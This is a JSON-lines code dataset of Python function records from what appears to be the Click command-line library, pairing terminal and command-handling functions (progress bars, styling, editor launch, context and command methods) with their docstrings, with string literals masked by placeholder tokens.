{"signature": "def progressbar(iterable=None, length=None, label=None, show_eta=True,<EOL>show_percent=None, show_pos=False,<EOL>item_show_func=None, fill_char='<STR_LIT:#>', empty_char='<STR_LIT:->',<EOL>bar_template='<STR_LIT>',<EOL>info_sep='<STR_LIT:U+0020>', width=<NUM_LIT>, file=None, color=None):", "body": "from ._termui_impl import ProgressBar<EOL>color = resolve_color_default(color)<EOL>return ProgressBar(iterable=iterable, length=length, show_eta=show_eta,<EOL>show_percent=show_percent, show_pos=show_pos,<EOL>item_show_func=item_show_func, fill_char=fill_char,<EOL>empty_char=empty_char, bar_template=bar_template,<EOL>info_sep=info_sep, file=file, label=label,<EOL>width=width, color=color)<EOL>", "docstring": "This function creates an iterable context manager that can be used\n    to iterate over something while showing a progress bar.  It will\n    either iterate over the `iterable` or `length` items (that are counted\n    up).  While iteration happens, this function will print a rendered\n    progress bar to the given `file` (defaults to stdout) and will attempt\n    to calculate remaining time and more.  By default, this progress bar\n    will not be rendered if the file is not a terminal.\n\n    The context manager creates the progress bar.  When the context\n    manager is entered the progress bar is already displayed.  With every\n    iteration over the progress bar, the iterable passed to the bar is\n    advanced and the bar is updated.  When the context manager exits,\n    a newline is printed and the progress bar is finalized on screen.\n\n    No printing must happen or the progress bar will be unintentionally\n    destroyed.\n\n    Example usage::\n\n        with progressbar(items) as bar:\n            for item in bar:\n                do_something_with(item)\n\n    Alternatively, if no iterable is specified, one can manually update the\n    progress bar through the `update()` method instead of directly\n    iterating over the progress bar.  The update method accepts the number\n    of steps to increment the bar with::\n\n        with progressbar(length=chunks.total_bytes) as bar:\n            for chunk in chunks:\n                process_chunk(chunk)\n                bar.update(chunks.bytes)\n\n    .. versionadded:: 2.0\n\n    .. versionadded:: 4.0\n       Added the `color` parameter.  Added a `update` method to the\n       progressbar object.\n\n    :param iterable: an iterable to iterate over.  If not provided the length\n                     is required.\n    :param length: the number of items to iterate over.  By default the\n                   progressbar will attempt to ask the iterator about its\n                   length, which might or might not work.  If an iterable is\n                   also provided this parameter can be used to override the\n                   length.  If an iterable is not provided the progress bar\n                   will iterate over a range of that length.\n    :param label: the label to show next to the progress bar.\n    :param show_eta: enables or disables the estimated time display.  This is\n                     automatically disabled if the length cannot be\n                     determined.\n    :param show_percent: enables or disables the percentage display.  The\n                         default is `True` if the iterable has a length or\n                         `False` if not.\n    :param show_pos: enables or disables the absolute position display.  The\n                     default is `False`.\n    :param item_show_func: a function called with the current item which\n                           can return a string to show the current item\n                           next to the progress bar.  Note that the current\n                           item can be `None`!\n    :param fill_char: the character to use to show the filled part of the\n                      progress bar.\n    :param empty_char: the character to use to show the non-filled part of\n                       the progress bar.\n    :param bar_template: the format string to use as template for the bar.\n                         The parameters in it are ``label`` for the label,\n                         ``bar`` for the progress bar and ``info`` for the\n                         info section.\n    :param info_sep: the separator between multiple info items (eta etc.)\n    :param width: the width of the progress bar in characters, 0 means full\n                  terminal width\n    :param file: the file to write to.  If this is not a terminal then\n                 only the label is printed.\n    :param color: controls if the terminal supports ANSI colors or not.  The\n                  default is autodetection.  This is only needed if ANSI\n                  codes are included anywhere in the progress bar output\n                  which is not the case by default.", "id": "f8338:m6"}
{"signature": "def clear():", "body": "if not isatty(sys.stdout):<EOL><INDENT>return<EOL><DEDENT>if WIN:<EOL><INDENT>os.system('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>sys.stdout.write('<STR_LIT>')<EOL><DEDENT>", "docstring": "Clears the terminal screen.  This will have the effect of clearing\n    the whole visible space of the terminal and moving the cursor to the\n    top left.  This does not do anything if not connected to a terminal.\n\n    .. versionadded:: 2.0", "id": "f8338:m7"}
{"signature": "def style(text, fg=None, bg=None, bold=None, dim=None, underline=None,<EOL>blink=None, reverse=None, reset=True):", "body": "bits = []<EOL>if fg:<EOL><INDENT>try:<EOL><INDENT>bits.append('<STR_LIT>' % (_ansi_colors.index(fg) + <NUM_LIT:30>))<EOL><DEDENT>except ValueError:<EOL><INDENT>raise TypeError('<STR_LIT>' % fg)<EOL><DEDENT><DEDENT>if bg:<EOL><INDENT>try:<EOL><INDENT>bits.append('<STR_LIT>' % (_ansi_colors.index(bg) + <NUM_LIT>))<EOL><DEDENT>except ValueError:<EOL><INDENT>raise TypeError('<STR_LIT>' % bg)<EOL><DEDENT><DEDENT>if bold is not None:<EOL><INDENT>bits.append('<STR_LIT>' % (<NUM_LIT:1> if bold else <NUM_LIT>))<EOL><DEDENT>if dim is not None:<EOL><INDENT>bits.append('<STR_LIT>' % (<NUM_LIT:2> if dim else <NUM_LIT>))<EOL><DEDENT>if underline is not None:<EOL><INDENT>bits.append('<STR_LIT>' % (<NUM_LIT:4> if underline else <NUM_LIT>))<EOL><DEDENT>if blink is not None:<EOL><INDENT>bits.append('<STR_LIT>' % (<NUM_LIT:5> if blink else <NUM_LIT>))<EOL><DEDENT>if reverse is not None:<EOL><INDENT>bits.append('<STR_LIT>' % (<NUM_LIT:7> if reverse else <NUM_LIT>))<EOL><DEDENT>bits.append(text)<EOL>if reset:<EOL><INDENT>bits.append(_ansi_reset_all)<EOL><DEDENT>return '<STR_LIT>'.join(bits)<EOL>", "docstring": "Styles a text with ANSI styles and returns the new string.  By\n    default the styling is self contained which means that at the end\n    of the string a reset code is issued.  This can be prevented by\n    passing ``reset=False``.\n\n    Examples::\n\n        click.echo(click.style('Hello World!', fg='green'))\n        click.echo(click.style('ATTENTION!', blink=True))\n        click.echo(click.style('Some things', reverse=True, fg='cyan'))\n\n    Supported color names:\n\n    * ``black`` (might be a gray)\n    * ``red``\n    * ``green``\n    * ``yellow`` (might be an orange)\n    * ``blue``\n    * ``magenta``\n    * ``cyan``\n    * ``white`` (might be light gray)\n    * ``reset`` (reset the color code only)\n\n    .. versionadded:: 2.0\n\n    :param text: the string to style with ansi codes.\n    :param fg: if provided this will become the foreground color.\n    :param bg: if provided this will become the background color.\n    :param bold: if provided this will enable or disable bold mode.\n    :param dim: if provided this will enable or disable dim mode.  This is\n                badly supported.\n    :param underline: if provided this will enable or disable underline.\n    :param blink: if provided this will enable or disable blinking.\n    :param reverse: if provided this will enable or disable inverse\n                    rendering (foreground becomes background and the\n                    other way round).\n    :param reset: by default a reset-all code is added at the end of the\n                  string which means that styles do not carry over.  This\n                  can be disabled to compose styles.", "id": "f8338:m8"}
{"signature": "def unstyle(text):", "body": "return strip_ansi(text)<EOL>", "docstring": "Removes ANSI styling information from a string.  Usually it's not\n    necessary to use this function as Click's echo function will\n    automatically remove styling if necessary.\n\n    .. versionadded:: 2.0\n\n    :param text: the text to remove style information from.", "id": "f8338:m9"}
{"signature": "def secho(text, file=None, nl=True, err=False, color=None, **styles):", "body": "return echo(style(text, **styles), file=file, nl=nl, err=err, color=color)<EOL>", "docstring": "This function combines :func:`echo` and :func:`style` into one\n    call.  As such the following two calls are the same::\n\n        click.secho('Hello World!', fg='green')\n        click.echo(click.style('Hello World!', fg='green'))\n\n    All keyword arguments are forwarded to the underlying functions\n    depending on which one they go with.\n\n    .. versionadded:: 2.0", "id": "f8338:m10"}
{"signature": "def edit(text=None, editor=None, env=None, require_save=True,<EOL>extension='<STR_LIT>', filename=None):", "body": "from ._termui_impl import Editor<EOL>editor = Editor(editor=editor, env=env, require_save=require_save,<EOL>extension=extension)<EOL>if filename is None:<EOL><INDENT>return editor.edit(text)<EOL><DEDENT>editor.edit_file(filename)<EOL>", "docstring": "r\"\"\"Edits the given text in the defined editor.  If an editor is given\n    (should be the full path to the executable but the regular operating\n    system search path is used for finding the executable) it overrides\n    the detected editor.  Optionally, some environment variables can be\n    used.  If the editor is closed without changes, `None` is returned.  In\n    case a file is edited directly the return value is always `None` and\n    `require_save` and `extension` are ignored.\n\n    If the editor cannot be opened a :exc:`UsageError` is raised.\n\n    Note for Windows: to simplify cross-platform usage, the newlines are\n    automatically converted from POSIX to Windows and vice versa.  As such,\n    the message here will have ``\\n`` as newline markers.\n\n    :param text: the text to edit.\n    :param editor: optionally the editor to use.  Defaults to automatic\n                   detection.\n    :param env: environment variables to forward to the editor.\n    :param require_save: if this is true, then not saving in the editor\n                         will make the return value become `None`.\n    :param extension: the extension to tell the editor about.  This defaults\n                      to `.txt` but changing this might change syntax\n                      highlighting.\n    :param filename: if provided it will edit this file instead of the\n                     provided text contents.  It will not use a temporary\n                     file as an indirection in that case.", "id": "f8338:m11"}
{"signature": "def launch(url, wait=False, locate=False):", "body": "from ._termui_impl import open_url<EOL>return open_url(url, wait=wait, locate=locate)<EOL>", "docstring": "This function launches the given URL (or filename) in the default\n    viewer application for this file type.  If this is an executable, it\n    might launch the executable in a new session.  The return value is\n    the exit code of the launched application.  Usually, ``0`` indicates\n    success.\n\n    Examples::\n\n        click.launch('http://click.pocoo.org/')\n        click.launch('/my/downloaded/file', locate=True)\n\n    .. versionadded:: 2.0\n\n    :param url: URL or filename of the thing to launch.\n    :param wait: waits for the program to stop.\n    :param locate: if this is set to `True` then instead of launching the\n                   application associated with the URL it will attempt to\n                   launch a file manager with the file located.  This\n                   might have weird effects if the URL does not point to\n                   the filesystem.", "id": "f8338:m12"}
{"signature": "def getchar(echo=False):", "body": "f = _getchar<EOL>if f is None:<EOL><INDENT>from ._termui_impl import getchar as f<EOL><DEDENT>return f(echo)<EOL>", "docstring": "Fetches a single character from the terminal and returns it.  This\n    will always return a unicode character and under certain rare\n    circumstances this might return more than one character.  The\n    situations which more than one character is returned is when for\n    whatever reason multiple characters end up in the terminal buffer or\n    standard input was not actually a terminal.\n\n    Note that this will always read from the terminal, even if something\n    is piped into the standard input.\n\n    .. versionadded:: 2.0\n\n    :param echo: if set to `True`, the character read will also show up on\n                 the terminal.  The default is to not show it.", "id": "f8338:m13"}
{"signature": "def pause(info='<STR_LIT>', err=False):", "body": "if not isatty(sys.stdin) or not isatty(sys.stdout):<EOL><INDENT>return<EOL><DEDENT>try:<EOL><INDENT>if info:<EOL><INDENT>echo(info, nl=False, err=err)<EOL><DEDENT>try:<EOL><INDENT>getchar()<EOL><DEDENT>except (KeyboardInterrupt, EOFError):<EOL><INDENT>pass<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>if info:<EOL><INDENT>echo(err=err)<EOL><DEDENT><DEDENT>", "docstring": "This command stops execution and waits for the user to press any\n    key to continue.  This is similar to the Windows batch \"pause\"\n    command.  If the program is not run through a terminal, this command\n    will instead do nothing.\n\n    .. versionadded:: 2.0\n\n    .. versionadded:: 4.0\n       Added the `err` parameter.\n\n    :param info: the info string to print before pausing.\n    :param err: if set to message goes to ``stderr`` instead of\n                ``stdout``, the same as with echo.", "id": "f8338:m14"}
{"signature": "def _bashcomplete(cmd, prog_name, complete_var=None):", "body": "if complete_var is None:<EOL><INDENT>complete_var = '<STR_LIT>' % (prog_name.replace('<STR_LIT:->', '<STR_LIT:_>')).upper()<EOL><DEDENT>complete_instr = os.environ.get(complete_var)<EOL>if not complete_instr:<EOL><INDENT>return<EOL><DEDENT>from ._bashcomplete import bashcomplete<EOL>if bashcomplete(cmd, prog_name, complete_var, complete_instr):<EOL><INDENT>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Internal handler for the bash completion support.", "id": "f8340:m0"}
{"signature": "@contextmanager<EOL>def augment_usage_errors(ctx, param=None):", "body": "try:<EOL><INDENT>yield<EOL><DEDENT>except BadParameter as e:<EOL><INDENT>if e.ctx is None:<EOL><INDENT>e.ctx = ctx<EOL><DEDENT>if param is not None and e.param is None:<EOL><INDENT>e.param = param<EOL><DEDENT>raise<EOL><DEDENT>except UsageError as e:<EOL><INDENT>if e.ctx is None:<EOL><INDENT>e.ctx = ctx<EOL><DEDENT>raise<EOL><DEDENT>", "docstring": "Context manager that attaches extra information to exceptions that\n    fly.", "id": "f8340:m4"}
{"signature": "def iter_params_for_processing(invocation_order, declaration_order):", "body": "def sort_key(item):<EOL><INDENT>try:<EOL><INDENT>idx = invocation_order.index(item)<EOL><DEDENT>except ValueError:<EOL><INDENT>idx = float('<STR_LIT>')<EOL><DEDENT>return (not item.is_eager, idx)<EOL><DEDENT>return sorted(declaration_order, key=sort_key)<EOL>", "docstring": "Given a sequence of parameters in the order as should be considered\n    for processing and an iterable of parameters that exist, this returns\n    a list in the correct order as they should be processed.", "id": "f8340:m5"}
{"signature": "@contextmanager<EOL><INDENT>def scope(self, cleanup=True):<DEDENT>", "body": "if not cleanup:<EOL><INDENT>self._depth += <NUM_LIT:1><EOL><DEDENT>try:<EOL><INDENT>with self as rv:<EOL><INDENT>yield rv<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>if not cleanup:<EOL><INDENT>self._depth -= <NUM_LIT:1><EOL><DEDENT><DEDENT>", "docstring": "This helper method can be used with the context object to promote\n        it to the current thread local (see :func:`get_current_context`).\n        The default behavior of this is to invoke the cleanup functions which\n        can be disabled by setting `cleanup` to `False`.  The cleanup\n        functions are typically used for things such as closing file handles.\n\n        If the cleanup is intended the context object can also be directly\n        used as a context manager.\n\n        Example usage::\n\n            with ctx.scope():\n                assert get_current_context() is ctx\n\n        This is equivalent::\n\n            with ctx:\n                assert get_current_context() is ctx\n\n        .. versionadded:: 5.0\n\n        :param cleanup: controls if the cleanup functions should be run or\n                        not.  The default is to run these functions.  In\n                        some situations the context only wants to be\n                        temporarily pushed in which case this can be disabled.\n                        Nested pushes automatically defer the cleanup.", "id": "f8340:c0:m3"}
{"signature": "@property<EOL><INDENT>def meta(self):<DEDENT>", "body": "return self._meta<EOL>", "docstring": "This is a dictionary which is shared with all the contexts\n        that are nested.  It exists so that click utiltiies can store some\n        state here if they need to.  It is however the responsibility of\n        that code to manage this dictionary well.\n\n        The keys are supposed to be unique dotted strings.  For instance\n        module paths are a good choice for it.  What is stored in there is\n        irrelevant for the operation of click.  However what is important is\n        that code that places data here adheres to the general semantics of\n        the system.\n\n        Example usage::\n\n            LANG_KEY = __name__ + '.lang'\n\n            def set_language(value):\n                ctx = get_current_context()\n                ctx.meta[LANG_KEY] = value\n\n            def get_language():\n                return get_current_context().meta.get(LANG_KEY, 'en_US')\n\n        .. versionadded:: 5.0", "id": "f8340:c0:m4"}
{"signature": "def make_formatter(self):", "body": "return HelpFormatter(width=self.terminal_width,<EOL>max_width=self.max_content_width)<EOL>", "docstring": "Creates the formatter for the help and usage output.", "id": "f8340:c0:m5"}
{"signature": "def call_on_close(self, f):", "body": "self._close_callbacks.append(f)<EOL>return f<EOL>", "docstring": "This decorator remembers a function as callback that should be\n        executed when the context tears down.  This is most useful to bind\n        resource handling to the script execution.  For instance, file objects\n        opened by the :class:`File` type will register their close callbacks\n        here.\n\n        :param f: the function to execute on teardown.", "id": "f8340:c0:m6"}
{"signature": "def close(self):", "body": "for cb in self._close_callbacks:<EOL><INDENT>cb()<EOL><DEDENT>self._close_callbacks = []<EOL>", "docstring": "Invokes all close callbacks.", "id": "f8340:c0:m7"}
{"signature": "@property<EOL><INDENT>def command_path(self):<DEDENT>", "body": "rv = '<STR_LIT>'<EOL>if self.info_name is not None:<EOL><INDENT>rv = self.info_name<EOL><DEDENT>if self.parent is not None:<EOL><INDENT>rv = self.parent.command_path + '<STR_LIT:U+0020>' + rv<EOL><DEDENT>return rv.lstrip()<EOL>", "docstring": "The computed command path.  This is used for the ``usage``\n        information on the help page.  It's automatically created by\n        combining the info names of the chain of contexts to the root.", "id": "f8340:c0:m8"}
{"signature": "def find_root(self):", "body": "node = self<EOL>while node.parent is not None:<EOL><INDENT>node = node.parent<EOL><DEDENT>return node<EOL>", "docstring": "Finds the outermost context.", "id": "f8340:c0:m9"}
{"signature": "def find_object(self, object_type):", "body": "node = self<EOL>while node is not None:<EOL><INDENT>if isinstance(node.obj, object_type):<EOL><INDENT>return node.obj<EOL><DEDENT>node = node.parent<EOL><DEDENT>", "docstring": "Finds the closest object of a given type.", "id": "f8340:c0:m10"}
{"signature": "def ensure_object(self, object_type):", "body": "rv = self.find_object(object_type)<EOL>if rv is None:<EOL><INDENT>self.obj = rv = object_type()<EOL><DEDENT>return rv<EOL>", "docstring": "Like :meth:`find_object` but sets the innermost object to a\n        new instance of `object_type` if it does not exist.", "id": "f8340:c0:m11"}
{"signature": "def lookup_default(self, name):", "body": "if self.default_map is not None:<EOL><INDENT>rv = self.default_map.get(name)<EOL>if callable(rv):<EOL><INDENT>rv = rv()<EOL><DEDENT>return rv<EOL><DEDENT>", "docstring": "Looks up the default for a parameter name.  This by default\n        looks into the :attr:`default_map` if available.", "id": "f8340:c0:m12"}
{"signature": "def fail(self, message):", "body": "raise UsageError(message, self)<EOL>", "docstring": "Aborts the execution of the program with a specific error\n        message.\n\n        :param message: the error message to fail with.", "id": "f8340:c0:m13"}
{"signature": "def abort(self):", "body": "raise Abort()<EOL>", "docstring": "Aborts the script.", "id": "f8340:c0:m14"}
{"signature": "def exit(self, code=<NUM_LIT:0>):", "body": "sys.exit(code)<EOL>", "docstring": "Exits the application with a given exit code.", "id": "f8340:c0:m15"}
{"signature": "def get_usage(self):", "body": "return self.command.get_usage(self)<EOL>", "docstring": "Helper method to get formatted usage string for the current\n        context and command.", "id": "f8340:c0:m16"}
{"signature": "def get_help(self):", "body": "return self.command.get_help(self)<EOL>", "docstring": "Helper method to get formatted help page for the current\n        context and command.", "id": "f8340:c0:m17"}
{"signature": "def invoke(*args, **kwargs):", "body": "self, callback = args[:<NUM_LIT:2>]<EOL>ctx = self<EOL>if isinstance(callback, Command):<EOL><INDENT>other_cmd = callback<EOL>callback = other_cmd.callback<EOL>ctx = Context(other_cmd, info_name=other_cmd.name, parent=self)<EOL>if callback is None:<EOL><INDENT>raise TypeError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>for param in other_cmd.params:<EOL><INDENT>if param.name not in kwargs and param.expose_value:<EOL><INDENT>kwargs[param.name] = param.get_default(ctx)<EOL><DEDENT><DEDENT><DEDENT>args = args[<NUM_LIT:2>:]<EOL>with augment_usage_errors(self):<EOL><INDENT>with ctx:<EOL><INDENT>return callback(*args, **kwargs)<EOL><DEDENT><DEDENT>", "docstring": "Invokes a command callback in exactly the way it expects.  There\n        are two ways to invoke this method:\n\n        1.  the first argument can be a callback and all other arguments and\n            keyword arguments are forwarded directly to the function.\n        2.  the first argument is a click command object.  In that case all\n            arguments are forwarded as well but proper click parameters\n            (options and click arguments) must be keyword arguments and Click\n            will fill in defaults.\n\n        Note that before Click 3.2 keyword arguments were not properly filled\n        in against the intention of this code and no context was created.  For\n        more information about this change and why it was done in a bugfix\n        release see :ref:`upgrade-to-3.2`.", "id": "f8340:c0:m18"}
{"signature": "def forward(*args, **kwargs):", "body": "self, cmd = args[:<NUM_LIT:2>]<EOL>if not isinstance(cmd, Command):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>for param in self.params:<EOL><INDENT>if param not in kwargs:<EOL><INDENT>kwargs[param] = self.params[param]<EOL><DEDENT><DEDENT>return self.invoke(cmd, **kwargs)<EOL>", "docstring": "Similar to :meth:`invoke` but fills in default keyword\n        arguments from the current context if the other command expects\n        it.  This cannot invoke callbacks directly, only other commands.", "id": "f8340:c0:m19"}
{"signature": "def make_context(self, info_name, args, parent=None, **extra):", "body": "for key, value in iteritems(self.context_settings):<EOL><INDENT>if key not in extra:<EOL><INDENT>extra[key] = value<EOL><DEDENT><DEDENT>ctx = Context(self, info_name=info_name, parent=parent, **extra)<EOL>with ctx.scope(cleanup=False):<EOL><INDENT>self.parse_args(ctx, args)<EOL><DEDENT>return ctx<EOL>", "docstring": "This function when given an info name and arguments will kick\n        off the parsing and create a new :class:`Context`.  It does not\n        invoke the actual command callback though.\n\n        :param info_name: the info name for this invokation.  Generally this\n                          is the most descriptive name for the script or\n                          command.  For the toplevel script it's usually\n                          the name of the script, for commands below it it's\n                          the name of the script.\n        :param args: the arguments to parse as list of strings.\n        :param parent: the parent context if available.\n        :param extra: extra keyword arguments forwarded to the context\n                      constructor.", "id": "f8340:c1:m3"}
{"signature": "def parse_args(self, ctx, args):", "body": "raise NotImplementedError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>", "docstring": "Given a context and a list of arguments this creates the parser\n        and parses the arguments, then modifies the context as necessary.\n        This is automatically invoked by :meth:`make_context`.", "id": "f8340:c1:m4"}
{"signature": "def invoke(self, ctx):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Given a context, this invokes the command.  The default\n        implementation is raising a not implemented error.", "id": "f8340:c1:m5"}
{"signature": "def main(self, args=None, prog_name=None, complete_var=None,<EOL>standalone_mode=True, **extra):", "body": "<EOL>if not PY2:<EOL><INDENT>_verify_python3_env()<EOL><DEDENT>else:<EOL><INDENT>_check_for_unicode_literals()<EOL><DEDENT>if args is None:<EOL><INDENT>args = get_os_args()<EOL><DEDENT>else:<EOL><INDENT>args = list(args)<EOL><DEDENT>if prog_name is None:<EOL><INDENT>prog_name = make_str(os.path.basename(<EOL>sys.argv and sys.argv[<NUM_LIT:0>] or __file__))<EOL><DEDENT>_bashcomplete(self, prog_name, complete_var)<EOL>try:<EOL><INDENT>try:<EOL><INDENT>with self.make_context(prog_name, args, **extra) as ctx:<EOL><INDENT>rv = self.invoke(ctx)<EOL>if not standalone_mode:<EOL><INDENT>return rv<EOL><DEDENT>ctx.exit()<EOL><DEDENT><DEDENT>except (EOFError, KeyboardInterrupt):<EOL><INDENT>echo(file=sys.stderr)<EOL>raise Abort()<EOL><DEDENT>except ClickException as e:<EOL><INDENT>if not standalone_mode:<EOL><INDENT>raise<EOL><DEDENT>e.show()<EOL>sys.exit(e.exit_code)<EOL><DEDENT>except IOError as e:<EOL><INDENT>if e.errno == errno.EPIPE:<EOL><INDENT>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT><DEDENT>except Abort:<EOL><INDENT>if not standalone_mode:<EOL><INDENT>raise<EOL><DEDENT>echo('<STR_LIT>', file=sys.stderr)<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "This is the way to invoke a script with all the bells and\n        whistles as a command line application.  This will always terminate\n        the application after a call.  If this is not wanted, ``SystemExit``\n        needs to be caught.\n\n        This method is also available by directly calling the instance of\n        a :class:`Command`.\n\n        .. versionadded:: 3.0\n           Added the `standalone_mode` flag to control the standalone mode.\n\n        :param args: the arguments that should be used for parsing.  If not\n                     provided, ``sys.argv[1:]`` is used.\n        :param prog_name: the program name that should be used.  By default\n                          the program name is constructed by taking the file\n                          name from ``sys.argv[0]``.\n        :param complete_var: the environment variable that controls the\n                             bash completion support.  The default is\n                             ``\"_<prog_name>_COMPLETE\"`` with prog name in\n                             uppercase.\n        :param standalone_mode: the default behavior is to invoke the script\n                                in standalone mode.  Click will then\n                                handle exceptions and convert them into\n                                error messages and the function will never\n                                return but shut down the interpreter.  If\n                                this is set to `False` they will be\n                                propagated to the caller and the return\n                                value of this function is the return value\n                                of :meth:`invoke`.\n        :param extra: extra keyword arguments are forwarded to the context\n                      constructor.  See :class:`Context` for more information.", "id": "f8340:c1:m6"}
{"signature": "def __call__(self, *args, **kwargs):", "body": "return self.main(*args, **kwargs)<EOL>", "docstring": "Alias for :meth:`main`.", "id": "f8340:c1:m7"}
{"signature": "def format_usage(self, ctx, formatter):", "body": "pieces = self.collect_usage_pieces(ctx)<EOL>formatter.write_usage(ctx.command_path, '<STR_LIT:U+0020>'.join(pieces))<EOL>", "docstring": "Writes the usage line into the formatter.", "id": "f8340:c2:m3"}
{"signature": "def collect_usage_pieces(self, ctx):", "body": "rv = [self.options_metavar]<EOL>for param in self.get_params(ctx):<EOL><INDENT>rv.extend(param.get_usage_pieces(ctx))<EOL><DEDENT>return rv<EOL>", "docstring": "Returns all the pieces that go into the usage line and returns\n        it as a list of strings.", "id": "f8340:c2:m4"}
{"signature": "def get_help_option_names(self, ctx):", "body": "all_names = set(ctx.help_option_names)<EOL>for param in self.params:<EOL><INDENT>all_names.difference_update(param.opts)<EOL>all_names.difference_update(param.secondary_opts)<EOL><DEDENT>return all_names<EOL>", "docstring": "Returns the names for the help option.", "id": "f8340:c2:m5"}
{"signature": "def get_help_option(self, ctx):", "body": "help_options = self.get_help_option_names(ctx)<EOL>if not help_options or not self.add_help_option:<EOL><INDENT>return<EOL><DEDENT>def show_help(ctx, param, value):<EOL><INDENT>if value and not ctx.resilient_parsing:<EOL><INDENT>echo(ctx.get_help(), color=ctx.color)<EOL>ctx.exit()<EOL><DEDENT><DEDENT>return Option(help_options, is_flag=True,<EOL>is_eager=True, expose_value=False,<EOL>callback=show_help,<EOL>help='<STR_LIT>')<EOL>", "docstring": "Returns the help option object.", "id": "f8340:c2:m6"}
{"signature": "def make_parser(self, ctx):", "body": "parser = OptionParser(ctx)<EOL>parser.allow_interspersed_args = ctx.allow_interspersed_args<EOL>parser.ignore_unknown_options = ctx.ignore_unknown_options<EOL>for param in self.get_params(ctx):<EOL><INDENT>param.add_to_parser(parser, ctx)<EOL><DEDENT>return parser<EOL>", "docstring": "Creates the underlying option parser for this command.", "id": "f8340:c2:m7"}
{"signature": "def get_help(self, ctx):", "body": "formatter = ctx.make_formatter()<EOL>self.format_help(ctx, formatter)<EOL>return formatter.getvalue().rstrip('<STR_LIT:\\n>')<EOL>", "docstring": "Formats the help into a string and returns it.  This creates a\n        formatter and will call into the following formatting methods:", "id": "f8340:c2:m8"}
{"signature": "def format_help(self, ctx, formatter):", "body": "self.format_usage(ctx, formatter)<EOL>self.format_help_text(ctx, formatter)<EOL>self.format_options(ctx, formatter)<EOL>self.format_epilog(ctx, formatter)<EOL>", "docstring": "Writes the help into the formatter if it exists.\n\n        This calls into the following methods:\n\n        -   :meth:`format_usage`\n        -   :meth:`format_help_text`\n        -   :meth:`format_options`\n        -   :meth:`format_epilog`", "id": "f8340:c2:m9"}
{"signature": "def format_help_text(self, ctx, formatter):", "body": "if self.help:<EOL><INDENT>formatter.write_paragraph()<EOL>with formatter.indentation():<EOL><INDENT>formatter.write_text(self.help)<EOL><DEDENT><DEDENT>", "docstring": "Writes the help text to the formatter if it exists.", "id": "f8340:c2:m10"}
{"signature": "def format_options(self, ctx, formatter):", "body": "opts = []<EOL>for param in self.get_params(ctx):<EOL><INDENT>rv = param.get_help_record(ctx)<EOL>if rv is not None:<EOL><INDENT>opts.append(rv)<EOL><DEDENT><DEDENT>if opts:<EOL><INDENT>with formatter.section('<STR_LIT>'):<EOL><INDENT>formatter.write_dl(opts)<EOL><DEDENT><DEDENT>", "docstring": "Writes all the options into the formatter if they exist.", "id": "f8340:c2:m11"}
{"signature": "def format_epilog(self, ctx, formatter):", "body": "if self.epilog:<EOL><INDENT>formatter.write_paragraph()<EOL>with formatter.indentation():<EOL><INDENT>formatter.write_text(self.epilog)<EOL><DEDENT><DEDENT>", "docstring": "Writes the epilog into the formatter if it exists.", "id": "f8340:c2:m12"}
{"signature": "def invoke(self, ctx):", "body": "if self.callback is not None:<EOL><INDENT>return ctx.invoke(self.callback, **ctx.params)<EOL><DEDENT>", "docstring": "Given a context, this invokes the attached callback (if it exists)\n        in the right way.", "id": "f8340:c2:m14"}
{"signature": "def resultcallback(self, replace=False):", "body": "def decorator(f):<EOL><INDENT>old_callback = self.result_callback<EOL>if old_callback is None or replace:<EOL><INDENT>self.result_callback = f<EOL>return f<EOL><DEDENT>def function(__value, *args, **kwargs):<EOL><INDENT>return f(old_callback(__value, *args, **kwargs),<EOL>*args, **kwargs)<EOL><DEDENT>self.result_callback = rv = update_wrapper(function, f)<EOL>return rv<EOL><DEDENT>return decorator<EOL>", "docstring": "Adds a result callback to the chain command.  By default if a\n        result callback is already registered this will chain them but\n        this can be disabled with the `replace` parameter.  The result\n        callback is invoked with the return value of the subcommand\n        (or the list of return values from all subcommands if chaining\n        is enabled) as well as the parameters as they would be passed\n        to the main callback.\n\n        Example::\n\n            @click.group()\n            @click.option('-i', '--input', default=23)\n            def cli(input):\n                return 42\n\n            @cli.resultcallback()\n            def process_result(result, input):\n                return result + input\n\n        .. versionadded:: 3.0\n\n        :param replace: if set to `True` an already existing result\n                        callback will be removed.", "id": "f8340:c3:m3"}
{"signature": "def format_commands(self, ctx, formatter):", "body": "rows = []<EOL>for subcommand in self.list_commands(ctx):<EOL><INDENT>cmd = self.get_command(ctx, subcommand)<EOL>if cmd is None:<EOL><INDENT>continue<EOL><DEDENT>help = cmd.short_help or '<STR_LIT>'<EOL>rows.append((subcommand, help))<EOL><DEDENT>if rows:<EOL><INDENT>with formatter.section('<STR_LIT>'):<EOL><INDENT>formatter.write_dl(rows)<EOL><DEDENT><DEDENT>", "docstring": "Extra format methods for multi methods that adds all the commands\n        after the options.", "id": "f8340:c3:m4"}
{"signature": "def get_command(self, ctx, cmd_name):", "body": "raise NotImplementedError()<EOL>", "docstring": "Given a context and a command name, this returns a\n        :class:`Command` object if it exists or returns `None`.", "id": "f8340:c3:m8"}
{"signature": "def list_commands(self, ctx):", "body": "return []<EOL>", "docstring": "Returns a list of subcommand names in the order they should\n        appear.", "id": "f8340:c3:m9"}
{"signature": "def add_command(self, cmd, name=None):", "body": "name = name or cmd.name<EOL>if name is None:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>_check_multicommand(self, name, cmd, register=True)<EOL>self.commands[name] = cmd<EOL>", "docstring": "Registers another :class:`Command` with this group.  If the name\n        is not provided, the name of the command is used.", "id": "f8340:c4:m1"}
{"signature": "def command(self, *args, **kwargs):", "body": "def decorator(f):<EOL><INDENT>cmd = command(*args, **kwargs)(f)<EOL>self.add_command(cmd)<EOL>return cmd<EOL><DEDENT>return decorator<EOL>", "docstring": "A shortcut decorator for declaring and attaching a command to\n        the group.  This takes the same arguments as :func:`command` but\n        immediately registers the created command with this instance by\n        calling into :meth:`add_command`.", "id": "f8340:c4:m2"}
